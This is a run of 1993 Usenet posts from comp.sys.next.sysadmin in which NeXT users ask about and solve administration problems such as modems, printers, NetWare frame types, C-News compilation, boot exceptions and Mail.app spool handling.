Newsgroups: comp.sys.next.sysadmin From: skrbec@rtsg.mot.com (Brad Skrbec) Subject: USR Sportster 14.4 Fax Modem Message-ID: <skrbec.739942477@bone15> Sender: news@rtsg.mot.com Organization: Motorola Inc., Cellular Infrastructure Group Date: Sun, 13 Jun 1993 03:34:37 GMT Anyone had any luck hooking the sportster up to a NeXT, and using it as a Fax modem? Anyone care to share the configuration? Thanks! Brad -- --------------------------------------------------------------------- | Brad Skrbec | "For it is the doom of men that they forget." | | Motorola Cellular | -- Merlin | | Arlington Heights, IL | Internet: skrbec@rtsg.mot.com |
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca) Newsgroups: comp.sys.next.sysadmin Subject: Connecting HP 4M to NSTC? Date: 13 Jun 1993 11:04:35 -0400 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Message-ID: <1vffm3INNot5@jhunix.hcf.jhu.edu> Would some kind sould tell me what cable (pinouts!) I need to connect this brand new LJ 4M Postscript printer to this brand new Next Color Turbo? *Very* frustrating not to print!!! Robert de Lucca email robinc@jhunix.hcf.jhu.edu NExtmail rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin Subject: Re: Can you make a dynamic symbolic link to $HOME? Message-ID: <1993Jun13.204031.5546@nic.csu.net> From: eps@walnut.SFSU.EDU (Eric P. Scott) Date: 13 Jun 93 20:40:30 PDT References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu> <3586@tau-ceti.isc-br.com> <CEDMAN.93Jun11110305@capitalist.princeton.edu> <1993Jun12.020847.7407@csus.edu> <CEDMAN.93Jun12092658@capitalist.princeton.edu> Organization: San Francisco State University This thread has been taken to private e-mail. -=EPS=-
Newsgroups: comp.sys.next.sysadmin Subject: Re: 486 byte ordering Message-ID: <1993Jun13.210645.5548@nic.csu.net> From: eps@walnut.SFSU.EDU (Eric P. Scott) Date: 13 Jun 93 21:06:44 PDT References: <1993Jun12.172749.9483@Princeton.EDU> Organization: San Francisco State University In article <1993Jun12.172749.9483@Princeton.EDU> paul@princeton.edu (Paul Lansky) writes: >We have a cluster of black NeXT machines and >are contemplating getting a 486 machine to >break in. Unfortunately the byte ordering is >different on these machines. One is big endian >and the other little endian, (I forget which is >which). m68k = big-endian i486 = little-endian > This, of course would create major problems >for sound and image files accessed across the network >between 68k and 486 machines. Sound, maybe. Image, no. NeXT added some additional stuff to the Sound Library in 3.1 to explicitly byte-swap (this is for people who like to stick pointers directly into 16-bit sound data). (See the Release Notes.) If you look at the specifications for TIFF and Display PostScript, you'll see that both were designed to accommodate either representation. >I'd like to know how others have dealt with this >problem. Are there hardware solutions? Or must this >be dealt with entirely in software. Thanks for any >information. Don't worry about it. In most cases, the right thing happens automagically. -=EPS=-
Newsgroups: comp.sys.next.sysadmin From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon) Subject: Re: Why does the Mail app disappear Message-ID: <1993Jun13.213332.1416@holli.uucp> Sender: me@holli.uucp (My Account) Organization: TYBRIN Corporation -- Huntsville, AL References: <1993Jun10.205442.18352@newshost.lanl.gov> Date: Sun, 13 Jun 1993 21:33:32 GMT In article <1993Jun10.205442.18352@newshost.lanl.gov> mlbm@lanl.gov (Mark Martinez) writes: > A couple of NeXTs at this site are experiencing Mail app problems. > Occasionally, when the deliver button is pressed, the app quits. Both NeXTs are > recently upgraded to 3.0. Other machines running 3.0 are behaving normally. > > Has anyone else seen this? > > thanks > > mark martinez I've had it happen to me on several occasions also. No clue as to what causes it, though. Trey -- Trey McClendon, Madison, AL
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next From: gemoe@proximus.north.de (Gerhard Moeller) Subject: Re: Exception #3 at boot (includes SUMMARY) Keywords: EXCEPTION #3, EXCEPTION #2 References: <2C18E7B8.6711@news.service.uci.edu> Sender: gemoe@proximus.north.de (Gerhard Moeller) Organization: Gerhard Moeller, German NeXT User Group, Oldenburg. Date: Sun, 13 Jun 1993 08:23:09 GMT Message-ID: <1993Jun13.082309.288@proximus.north.de> In article <2C18E7B8.6711@news.service.uci.edu> bdm@agni.ss.uci.edu (Brian McElree) writes: > > A colleague had just purchased a used Color NeXTstation (non-turbo, 32/400). > During the boot process at the "loading from disk" screen, the ROM monitor > pops up with an "Exception #3 (0xc) at 0x1000374" message. The station can > be manually booted and thereafter seems to function properly. > > Has anyone had a similar problem or does anyone know what this message > indicates? Particularly, should it be a source of concern so as to > warrant returning the machine? Any knowledge, thoughts or opinions would > be greatly appreciated. If you still have warranty on your machine - let it repair!!! As I wrote the first answer to your posting my machine crashed again. Unfortunately, I ____NEED____ my NeXT very badly at the moment and have *no* time at all to let it repair. (and no money :-( ) Here are the answers I received. BTW: It seems that this is a quite common problem! At this place: THANKS TO ALL THE KIND PEOPLE WHO HELPED ME! Now for the answers: ======================================================================== From: Karsten Thygesen <karthy@dannug.dk> It seems like to have the same problem as I did, but I'm far from sure. My problem was that the lithium accumulator was overloaded due to a defect in it. If you take out the battery and measure the voltage accross the poles, then try to compare the result to the 3 V (??) it should have. I'm not sure about the voltage, but it's printet on the battery. When my battery was defect I could not boot (could not even get the boot prompt!!) and sometimes I got memory errors. I solved the problem by exchanging the battery, but I'm not sure this is your problem even if it the same symptoms. A new battery is not very expensive. Regards, Karsten. --- Karsten Thygesen I Aalborg, Denmark karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59 President, Danish NeXT Users Group I Fax: +45 98 12 44 81 pgp 2.2 key available on request or finger karthy@iesd.auc.dk ======================================================================== From: Mark G. Tacchi <tacchi@ccu.UManitoba.CA> You may have faulty hardware on your hands. The exception codes that you mention lead me to believe that there is a defective clock crystal. You can get more help by calling 1-800-499-NeXT. If that number isn't available in Germany, call 415-366-0900 and ask them to transfer you (tell them that you are unable to access the number). ======================================================================== From: jbf@mbunix.mitre.org (Barney Frazer) These errors occur on hardware traps: 2 is an access error and 3 is an odd byte address error. In particular error 2 signifies an external bus error or address translation error. Back up any crucial files and call a repairman if it happens again. ======================================================================== From: Christoph M Zoeller <chris@kyrwalda.lanl.gov> German: ------- Aber jetzt mal Ernst beiseite (oder so hnlich): Das h rt sich nach einem Hardwareproblem mit dem motherboard an. Ich hatte ein hnliches Problem mit meiner station, und NeXT ersetzte das motherboard (nachdem neue SIMMs nicht halfen). Als erstes w rde ich die SIMMS alle 'rausnehmen und wieder einsetzen (auf festen !!! Sitz achten! Und nat rlich die blichen anti-static Vorkehrungen). Wenn das nicht hilft, dann mu wohl ein neues motherboard her - I am afraid. English: -------- Seriously: It looks like a H/W problem with the motherboard. I had a similar problem with my station and NeXT had to replace the motherboard as replacement of SIMMS didn't work. First of all, I would pull out the simms and put them in again, making sure they are tight. If this doesn't help, you'll have to replace the motherboard, I'm afraid. ======================================================================== From: Matthias Klose <doko@cs.tu-berlin.de> German: ------- das kenne ich auch, manchmal erkennt er auch nur die interne Festplatte nicht. Aber mit Ausschalten geht's dann wieder. Da mein Rechner eh immer laeuft, macht sich das bislang nicht so stark bemerkbar ... English: -------- I know that as well, sometimes the computer doesn't recognize the internal harddisk. But turning off and on the computer helps. As my computer's running nearly all the time, I don't see this too often... ======================================================================== From: Bernhard Nocker <bnocker@cosy.sbg.ac.at> We had the same problems a while ago. Try to remove all simms and replace it again! Afterwards the problems disappeared. Seemed to be a bad contact. B. -- Bernhard Nocker University of Salzburg's Department of Computing Studies Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at Fax: +43-662-8044/6316 or +43-662-8044/611 ======================================================================== Good luck, Gerhard. -- +---------------------------< principiis obsta! >---------------------------+ N Gerhard Moeller, Teichstrasse 12, 2900 Oldenburg (FRG) [*: 02/21/1968] N e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X T Z-Net: Gerhard.Moeller@uniol.zer encouraged! T +-> NoGeNUG - Northern German NeXT User Group: NoGeNUG@proximus.north.DE <-+
Newsgroups: de.comp.sys.next,comp.sys.next.sysadmin From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels) Subject: Novell Netware: can one replace Ethernet_II with 802.3 ? Message-ID: <CPDEBVMK@gwdu03.gwdg.de> Keywords: Novell, Netware, Ethernet_II, nuc Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen Date: Sat, 12 Jun 1993 19:23:08 GMT hi, i do have a problem connecting to a Novell fileserver using Ethernet 802.3. There are other fileservers using Ethernet_II in the network, too. Now my slab initializes npsd with Ethernet_II frames instead of Ethernet 802.3. Has anyone managed to connect his NeXT to a Novell fileserver using Ethernet 802.3 frames? /usr/adm/messages says: Jun 7 18:32:11 desdemona mach: Netware UNIX Client v3.11 Jun 7 18:32:11 desdemona mach: (C) Copyright 1991 Novell Incorporated Jun 7 18:32:11 desdemona mach: All Rights Reserved Jun 7 18:32:11 desdemona mach: Jun 7 18:32:11 desdemona mach: NetWare protocol enabled for interface en0, type "10MB Ethernet" Jun 7 18:32:11 desdemona syslog: npsd: Binding to network 21121960 using Ethernet_II frames. Are there any documented or undocumented NetInfo entries, that specify the correct network or the correct frames? Browsing the help didn't help much, ... I simply do *not* want those other Novell servers on the same Ethernet. thanks in advance stephan trebels <trebels@theo-phys.gwdg.de>
From: f_cnnghamjk@ccsvax.sfasu.edu Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software Subject: POP3 on a NeXT? Message-ID: <1993Jun14.081606.5151@ccsvax.sfasu.edu> Date: 14 Jun 93 08:16:05 CST Organization: Stephen F. Austin State University Does anyone have a POP3 server running on a NeXT? Is it difficult to set up? -- kc
Newsgroups: comp.sys.next.sysadmin From: fedor@hopper.Colorado.EDU (Adam Fedor) Subject: Re: Problem with owner/group on external HD Message-ID: <1993Jun14.145304.27400@colorado.edu> Originator: fedor@hopper.Colorado.EDU Sender: news@colorado.edu (The Daily Planet) Organization: University of Colorado, Boulder Distribution: usa Date: Mon, 14 Jun 1993 14:53:04 GMT Previously, I wrote: >When I log in as root, all the files on the external disk have the proper >owners and groups set. But when I log in as, say, myself, all the files >on the disk are now owned by me (adam), and the group shows as "nogroup". >This even includes the mounted directory itself. In addition the >WorkspaceManager doesn't recognize my home directory (The fileviewer shows >the root '/' directory, my Dock is incorrect, etc.) You can solve this problem by including a line like the following in your /etc/fstab file: /dev/sd1a /local 4.3 rw,noquota 0 2 Note that the NeXT documentation claims that you should include a "noauto" switch in the options list. This is incorrect, "noauto" should only appear on the root partition. Thanks for the help! From: fedor@hopper.Colorado.EDU (Adam Fedor) Newsgroups: comp.sys.next.admin Subject: Re: Problem with owner/group on external HD (SOLVED) References: Sender: Followup-To: Distribution: usa Organization: University of Colorado, Boulder Keywords: Previously, I wrote: >When I log in as root, all the files on the external disk have the proper >owners and groups set. But when I log in as, say, myself, all the files >on the disk are now owned by me (adam), and the group shows as "nogroup". >This even includes the mounted directory itself. In addition the >WorkspaceManager doesn't recognize my home directory (The fileviewer shows >the root '/' directory, my Dock is incorrect, etc.) You can solve this problem by including a line like the following in your /etc/fstab file: /dev/sd1a /local 4.3 rw,noquota 0 2 Note that the NeXT documentation claims that you should include a "noauto" switch in the options list. This is incorrect, "noauto" should only appear on the root partition. Thanks for the help! -- Adam Fedor. CU, Boulder | Fudd's Law of Opposition: Push something fedor@boulder.colorado.edu (W) | hard enough and it will fall over. adam@bastille.rmnug.org (H,NeXTMail)|
From: whalenm@tsg.com (Matthew Whalen) Newsgroups: comp.sys.next.sysadmin Subject: gated for NeXT Date: 14 Jun 1993 15:39:02 GMT Organization: Telos Systems Group, Chantilly, VA Distribution: usa Message-ID: <1vi62m$f5k@obelix.tsg.com> Has anyone compiled gated for NeXTStep 3.0? If so, I'd like to get a copy of your code. It seems that the standard gated code (for 2.1 and 3.0Beta2) doesn't like the NeXT all that much. Thanks -matthew ____ whalenm@tsg.com \ / equal rights, not special rights (NeXTMail OK) \/ ---------------------------------------------------------------- "Thus conscience does make cowards of us all, and thus the native hue of resolution is sicklied o'er with the pale cast of thought, and enterprises of great pith and moment with this regard their currents turn awry,and lose the name of action." ----------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: droux@hei.unige.ch Subject: Novell Netware 4 support ? Message-ID: <1993Jun14.182923.1@hei.unige.ch> Sender: usenet@news.unige.ch Organization: University of Geneva, Switzerland Date: Mon, 14 Jun 1993 16:29:23 GMT My NeXT is connected to a Netware server Release 3 and our Novell administrator will upgrade it to a Release 4 server. He told me that version 4 can accept requests from version 3 clients but this is not very elegant. Is there any plans toward the support of the Release 4 NetWare servers by NEXTSTEP ? Will it be integrated in a forthcoming version of NEXTSTEP, or is it already supported in 3.1 ? (I'm using 3.0) Nicolas Droux don@cs.isbiel.ch
From: mcullen@rothko.symantec.com (Michael Cullen) Newsgroups: comp.sys.next.sysadmin Subject: NeXT printing with NFS v1.2B Date: 14 Jun 1993 17:17:26 GMT Organization: Symantec Corporation Message-ID: <1vibr6INNkuk@grumpy.symantec.com> Here's one for you. I have NFS set up and I am able to print to a print queue off the netware server with both my spark station and my NeXT cube (version 2.1). When I try to print from my netware workstation I receive the following error in my console window: Jun 14 09:11:16 rothko npcomm[233]: can't print binary file Can anyone tell me what if there is a way to fix this? Thankx Mcullen@rothko.symantec.com
Newsgroups: comp.sys.next.sysadmin From: juan@apple.com (Juan Pineda) Subject: C-News -- Feb '93 release Message-ID: <1993Jun14.175333.7420@logician.com> Sender: juan@logician.com Organization: logician.com Date: Mon, 14 Jun 1993 17:53:33 GMT Hi, Is anyone out there using the Feb '93 "performance" release of C-news on their NeXT? I am tempted to install it because I understand that the checkgroups function is badly broken in releases before the '92 "performance." If you've installed the Feb '93 C-news release, could you comment on how well it works? The README file for it recommends against installing it unless you really need the performance, because it still has "rough edges". If it works well enough, would you be willing to post a NeXT package that would install the binaries? Has anyone out there had positive experience with using checkgroups in pre-'92 releases of C-news? I've read severe warnings against using it, so I would expect that it is badly broken. However in reading the documentation, it seems that some of the bugs may depend on the implementation of awk, so there might be a possibility that it would work under some Unix implementations. Also would it be possible to simply use the checkgroups script from the newer C-news with my older C-news code? Any help would be greatly appreciated. Juan
Newsgroups: comp.sys.next.sysadmin From: francisr@stupid.ucs.indiana.edu (Rob Francis) Subject: Problem with Supra Message-ID: <C8Mp8B.FK6@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: University Computing Services Date: Mon, 14 Jun 1993 20:36:11 GMT This is pretty strange. I never had this problem with other modems. On the Supra, I dial, handshake and get a 'CONNECT 9600'. Then I'm hung. I can see that when I hit return, the modem is receiving it because them little light's are a flashin' but it's almost as if it isn't sending it on to the modem on the other end. I can't send anything across the line I guess. Anyone else seen this? -rob francisr@indiana.edu
Newsgroups: comp.sys.next.sysadmin From: rutherford@csusys.ctstateu.edu Subject: Nextstep 486/Gateway question Message-ID: <1993Jun14.171300.1@csusys.ctstateu.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT Date: Mon, 14 Jun 1993 22:13:00 GMT Greetings, We are thinking of purchasing some 486 machines and NextStep at our university. We have a little trouble selecting the machines to purchase. Because of purchasing regulations it would be much easier if we could buy DEC, Zenith or Gateway machines. We have heard that there are problems with systems being unable to access memory over 16MB if there is a 16-bit SCSI controller present. We heard a rumour that this is so with Gateway 486 Vesa local bus systems. And the Gateway EISA system is not listed as being compatible with Nextstep yet? Does anyone have any information on this? Thanks, John Rutherford Central Conn State Univ.
Newsgroups: comp.sys.next.sysadmin From: kris@nurslab303a.nurs.utah.edu (Kris Magnusson) Subject: Can't compile cnews (or: cnews conundrum) Message-ID: <1993Jun14.221453.16026@fcom.cc.utah.edu> Sender: news@fcom.cc.utah.edu Organization: University of Utah Computer Center Date: Mon, 14 Jun 93 22:14:53 GMT If someone has successfully compiled the cnews sources under NS 3.0, I'd like to shake his or her hand. I've been trying to compile Cnews in cracks in my busy schedule for some time. I've been utterly unsuccessful. I've been using someone's build.def answers from a _successful_ Cnews build. Here's what happens when I give this a shot: nurslab303a/user1/kris/Library/News/Cnews/cnews/conf# ./doit.root <... successful build> nurslab303a/user1/kris/Library/News/Cnews/cnews/conf# su bin $ ./doit.bin + : setting up for substitutions + cat /doit.bin: nsubstitutions: cannot create + test -r substitutions + mv nsubstitutions substitutions mv: nsubstitutions: Cannot access: No such file or directory + : done + : building headers + cd .. + test ! -d include + mkdir include include/sys mkdir: include: Permission denied mkdir: include/sys: No such file or directory + cd h + rm -f nnewshsed + echo /NOSTOREVAL.*qqq/s;^;/* ; /doit.bin: nnewshsed: cannot create The build stops at this point. Then, using the intellectual equivalent of brute force, I type nurslab303a/user1/kris/Library/News/Cnews# chown -R bin.bin cnews then type nurslab303a/user1/kris/Library/News/Cnews/cnews/conf#su bin $ ./doit.bin at which time I see compiler messages, build results, etc.--until this point: cc -O -c history.c history.c:188: warning: static declaration for `remove' follows non-static history.c: In function `remove': history.c:189: argument `fname' doesn't match function prototype *** Exit 1 Stop. + exit 1 $ If anyone would like to shed light on this, please do so. I just wanna read news and stop getting bitched at because I'm posting from an edu site. Kris Magnusson
Newsgroups: comp.sys.next.sysadmin From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels) Subject: Novell Netware: can one replace Ethernet_II with 802.3 ? (Summary) Message-ID: <J5FEBV2V@gwdu03.gwdg.de> Keywords: Novell, Netware, nuc, npsd, Ethernet_II, Ethernet802.3 Sender: news@gwdu03.gwdg.de (USENET News System) Organization: GWDG, Goettingen References: <CPDEBVMK@gwdu03.gwdg.de> Date: Mon, 14 Jun 1993 23:42:35 GMT In article <CPDEBVMK@gwdu03.gwdg.de> I wrote: > > hi, > > i do have a problem connecting to a Novell fileserver > using Ethernet 802.3. There are other fileservers using > Ethernet_II in the network, too. Now my slab initializes > npsd with Ethernet_II frames instead of Ethernet 802.3. > Has anyone managed to connect his NeXT to a Novell > fileserver using Ethernet 802.3 frames? [...] some stuff deleted A solution is to change the line starting npsd in /etc/rc to npsd -fEthernet_802.3. Then this line reads /usr/netware/etc/npsd -fEthernet_802.3 && (echo -n ' npsd') Now everything seems to work just fine. It seems to be too late in startup of Netware to change anything for sapd, also I doubt whether our novell admins will ever decide to only use one type of frames. I would still prefer a solution that would not require changing /etc/rc i.e. use netinfo ;-). Many thanks to all fine folks who told me what to try Stephan Trebels <trebels@theo-phys.gwdg.de>
Newsgroups: comp.sys.next.sysadmin From: craighil@sfc.sony.com (Nancy Craighill) Subject: Problems Using /dev/ttya On Intel Machines Message-ID: <1993Jun15.003911.29648@sfc.sony.com> Organization: Sony Advanced Video Technology Center Date: Tue, 15 Jun 1993 00:39:11 GMT We've been attempting to use /dev/ttya with very little success on the Intel machines. Simply running "yes > /dev/ttya" a couple of times will cause the entire system to freeze up--the mouse and keyboard are dead and the system no longer responses when pinged. One time we got the kernel trap message: Raise RDP exception 1 code 1 subcode c21c1750. This is a brutal bug because you can not cleanly reboot the machine. Shouldn't /dev/ttya just work after installing NeXTSTEP?? The IRQs in the system setup seem to be configured properly and the serial port works fine under DOS. Anyone have any ideas? Has anyone successfully used /dev/ttya and /dev/ttyb with other programs? (NOTE: The behavior is the same on both a Dell and Gateway). Nancy -- Nancy Craighill w(408)944-4994 AVTC, Sony Corporation of America fax(408)954-1027 685 River Oaks Parkway, M.S. 35 email: craighill@sfc.sony.com San Jose, CA 95134-1907 USA
From: dkk@cbnewsl.cb.att.com (david.k.kallman) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs Subject: 3.1 Mailer and symbolic links Message-ID: <C8n9By.5wE@cbnewsl.cb.att.com> Date: 15 Jun 93 03:50:18 GMT Followup-To: comp.sys.next.sysadmin Organization: AT&T Bell Laboratories Folks, Just upgraded to 3.1 for Next hardware and am having a problem with mail. My mail actually goes to a Sun system, and I have /var/spool/mail on the Sun mounted as /Net/sun/var/spool/mail on the NeXT. (There are several users on the NeXT and most of them get mail locally on the NeXT so I couldn't just mount /var/spool/mail from the Sun on /usr/spool/mail on the NeXT.) Now Mail (note capital M), autoretrieves mail from the Sun, but does not delete the mail on the Sun after autoretrieving it. So every autoretrieve period the mail just keeps getting duplicated. The worked fine in 3.0, and also works fine with mail (small m, i.e., deleting the mail and quiting in mail). Has anyone experienced this? Also would the problem go away if I rearranging things and mounted /var/spool/mail on the Sun on /usr/spool/mail on the NeXT? I'd experiment, but I'd prefer not taking the chance of losing mail. Thanks. Dave Kallman -- ---- Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
Control: cancel <C8n9By.5wE@cbnewsl.cb.att.com> Newsgroups: comp.sys.next.sysadmin,comp.sys.next.bugs From: dkk@cbnewsl.cb.att.com (david.k.kallman) Subject: cmsg cancel <C8n9By.5wE@cbnewsl.cb.att.com> Organization: AT&T Date: Tue, 15 Jun 1993 03:57:33 GMT Message-ID: <C8n9ny.62A@cbnewsl.cb.att.com> References: <C8n9By.5wE@cbnewsl.cb.att.com> Sender: dkk@cbnewsl.cb.att.com (david.k.kallman) <C8n9By.5wE@cbnewsl.cb.att.com> was cancelled from within rn. -- ---- Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
From: dkk@cbnewsl.cb.att.com (david.k.kallman) Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: 3.1 Mailer and symbolic links Message-ID: <C8nA5L.6B2@cbnewsl.cb.att.com> Date: 15 Jun 93 04:08:08 GMT Followup-To: comp.sys.next.sysadmin Organization: AT&T Bell Laboratories Folks, Just upgraded to 3.1 for Next hardware and am having a problem with mail. My mail actually goes to a Sun system, and I have /var/spool/mail on the Sun mounted as /Net/sun/var/spool/mail on the NeXT, with a symbolic link from /usr/spool/mail/dkk -> /Net/sun/var/spool/mail/dkk, and also a .forward in my home directory on the Next to dkk@sun - this handles local mail. (There are several users on the NeXT and most of them get mail locally on the NeXT so I didn't just mount /var/spool/mail from the Sun on /usr/spool/mail on the NeXT.) Now Mail.app (note capital M) autoretrieves mail from the Sun, but does not delete the mail on the Sun after autoretrieving it. So every autoretrieve period the mail just keeps getting duplicated. The worked fine in 3.0, and also works fine in 3.1 with mail (small m, i.e., deleting the mail and quiting in mail). Has anyone experienced this? Also would the problem go away if I rearranged things and mounted /var/spool/mail on the Sun on /usr/spool/mail on the NeXT? I'd experiment, but I'd prefer not taking the chance of losing mail. Thanks. Dave Kallman -- ---- Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Re: POP3 on a NeXT? Message-ID: <1993Jun15.132940.16068@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory References: <1993Jun14.081606.5151@ccsvax.sfasu.edu> Date: Tue, 15 Jun 1993 13:29:40 GMT In article <1993Jun14.081606.5151@ccsvax.sfasu.edu> f_cnnghamjk@ccsvax.sfasu.edu writes: > > Does anyone have a POP3 server running on a NeXT? Is it difficult to set up? > I installed it and had no problems. - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.sysadmin From: dkk@cbnewsl.cb.att.com (david.k.kallman) Subject: Re: 3.1 Mailer and symbolic links Organization: AT&T Date: Tue, 15 Jun 1993 14:57:17 GMT Message-ID: <C8o47M.KM@cbnewsl.cb.att.com> References: <C8nA5L.6B2@cbnewsl.cb.att.com> Folks, Thanks for your help. The following answer from Marcel Waldvogel <Marcel.Waldvogel@nice.usergroup.ethz.ch> solved the problem: Just go to Mail.app's Preferences and change the location of the Mailbox file to /Net/sun/usr/spool/mail/dkk. Dave Kallman -- ---- Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507
From: jfosback@darmok.uoregon.edu (Jason Fosback) Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.programmer Subject: NS 3.1 loginwindow options?? Message-ID: <1vksui$bel@pith.uoregon.edu> Date: 15 Jun 93 16:21:38 GMT Article-I.D.: pith.1vksui$bel Organization: University of Oregon Network Services Does anyone know the "new" dwrites for 3.1's login window? The old dwrites from NS 3.0 no longer seem to work, and I'd like to know how to customize the fade timeout, etc. Thanks! -jason _________________________________________________________________ Jason Fosback, User Support Analyst | No sir, I didn't like it ---- University of Oregon ---- | -R&S Internet: jfosback@oregon.uoregon.edu | Star Trek: NeXT mail: jfosback@darmok.uoregon.edu | The NeXT Generation...
Newsgroups: comp.sys.next.sysadmin From: tmurdoch@liberty.uc.wlu.edu (Tim Murdoch) Subject: problem with WindowServer Message-ID: <1993Jun15.165432.13289@liberty.uc.wlu.edu> Date: Tue, 15 Jun 1993 16:54:32 GMT Organization: Washington & Lee University Help!! I have done something to one of our mono Turbos so that I get the following messages during verbose boot: WindowServer[149]: Problem starting the MegaPixel driver. Continuing. This is followed by repeated messages of the same kind (the number after WindowServer changes) until the following message occurs: loginwindow[138]: loginwindow: could not find WindowServer port! Then the messages about the WindowServer cycle again. What has gone wrong? Does anybody have a (relatively) painless fix? Some useful information may be that I was trying to install X on the machine and inadvertently changed the permissions on /dev/vid0 to rwx for ugo. This is when the trouble started. I've managed to change the permissions back to the original, but the problem persists. Please reply by email, as I won't have much time to read this group. Thanks. -- Tim Murdoch Assistant Prof. of Math e-mail: murdoch@wlu.edu Washington and Lee Univ. phone: (703) 463-5045 Lexington VA 24450
Newsgroups: comp.sys.next.sysadmin From: fosdal@phenxm.physics.wisc.edu Subject: Accessing Remote Files Message-ID: <1993Jun15.183527.4975@cs.wisc.edu> Sender: news@cs.wisc.edu (The News) Organization: U of Wisconsin Madison - Computer Sciences Date: Tue, 15 Jun 1993 18:35:27 GMT After having done: dwrite -- Steven R. Fosdal UW-Madison Physics Dept. NeXT System 1150 University Ave, Madison WI 53706 Management Phone: (608)262-8947 Fax: (608)262-8628 fosdal@phenxm.physics.wisc.edu (NeXT mail o.k.)
From: fosdal@phenxm.physics.wisc.edu Newsgroups: comp.sys.next.sysadmin Subject: Accessing Remote Files Message-ID: <1993Jun15.183901.5168@cs.wisc.edu> Date: 15 Jun 93 18:39:01 GMT Sender: news@cs.wisc.edu (The News) Organization: U of Wisconsin Madison - Computer Sciences After having done: dwrite System PublicWindowServer No and then after logging out: /usr/lib/NextStep/Workspace.app/WM.app/WM -NXHost mymachine on a remote machine. I get two file viewers. This is what I want. Except when I try to access the remote files the machines tries to find the on the local machine, not the remote machines as I would like. Any ideas on how to get this to work? -- Steven R. Fosdal UW-Madison Physics Dept. NeXT System 1150 University Ave, Madison WI 53706 Management Phone: (608)262-8947 Fax: (608)262-8628 fosdal@phenxm.physics.wisc.edu (NeXT mail o.k.)
Newsgroups: comp.sys.next.sysadmin From: dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) Subject: Changing IP numbers - NetInfo woes Message-ID: <C8oECo.E80@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center Date: Tue, 15 Jun 1993 18:36:24 GMT We maintain about 30 NeXTs with NetInfo in a mixed (yp) network. In the near future, we have to change the IP numbers of many of the machines to facilitate subnetting. We did a successful dry run of this on four machines, including an NFS server, last Friday, and tried to do the rest last night. We ran into a problem we could not overcome. The master NetInfo server could not be persuaded to reboot (it, of course, is one of the machines having its IP number changed). The boot sequence is OK until rc starts lookupd which seems to be unable to talk to netinfod (we get an series of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages). Our clone NetInfo server (which also had an IP change) behaved similarly. We had to restore the old /etc/netinfo database (which I at least remembered to save) to get back on the air. Can anybody tell me what crucial step I missed?
Newsgroups: comp.sys.next.sysadmin From: Neil Greene <neil@kynug.org> Subject: Re: 3.1 Mailer and symbolic links Message-ID: <1993Jun15.180507.2718@kynug.org> Sender: neil@kynug.org (Neil Greene) Organization: Kentucky NeXT User Group, Inc. References: <C8nA5L.6B2@cbnewsl.cb.att.com> Date: Tue, 15 Jun 1993 18:05:07 GMT In article <C8nA5L.6B2@cbnewsl.cb.att.com> dkk@cbnewsl.cb.att.com (david.k.kallman) writes: > > Folks, > > Just upgraded to 3.1 for Next hardware and am having a > problem with mail. My mail actually goes to a Sun system, > and I have /var/spool/mail on the Sun mounted as > /Net/sun/var/spool/mail on the NeXT, with a symbolic link > from /usr/spool/mail/dkk -> /Net/sun/var/spool/mail/dkk, > and also a .forward in my home directory on the Next to > dkk@sun - this handles local mail. (There are several > users on the NeXT and most of them get mail locally on the > NeXT so I didn't just mount /var/spool/mail from the Sun > on /usr/spool/mail on the NeXT.) > > Now Mail.app (note capital M) autoretrieves mail from the > Sun, but does not delete the mail on the Sun after > autoretrieving it. So every autoretrieve period the mail > just keeps getting duplicated. The worked fine in 3.0, and > also works fine in 3.1 with mail (small m, i.e., deleting > the mail and quiting in mail). > > Has anyone experienced this? Also would the problem go > away if I rearranged things and mounted /var/spool/mail on > the Sun on /usr/spool/mail on the NeXT? I'd experiment, > but I'd prefer not taking the chance of losing mail. Check the permissions on the /var/spool/mail directory on the sun. Is the sticky bit set to allow users to delete and modify their own files, but leave everything else along?? > -- > ---- > Dave Kallman, AT&T, 480 Red Hill Rd., Middletown, NJ 07748 > d_k_kallman@att.com, (908)615-2989, fax: (908)615-2507 -- Neil Greene President, benchMark Developments, Inc. [NeXT VAR] President, Kentucky NeXT User Group, Inc. North American, TIFFany Distributor
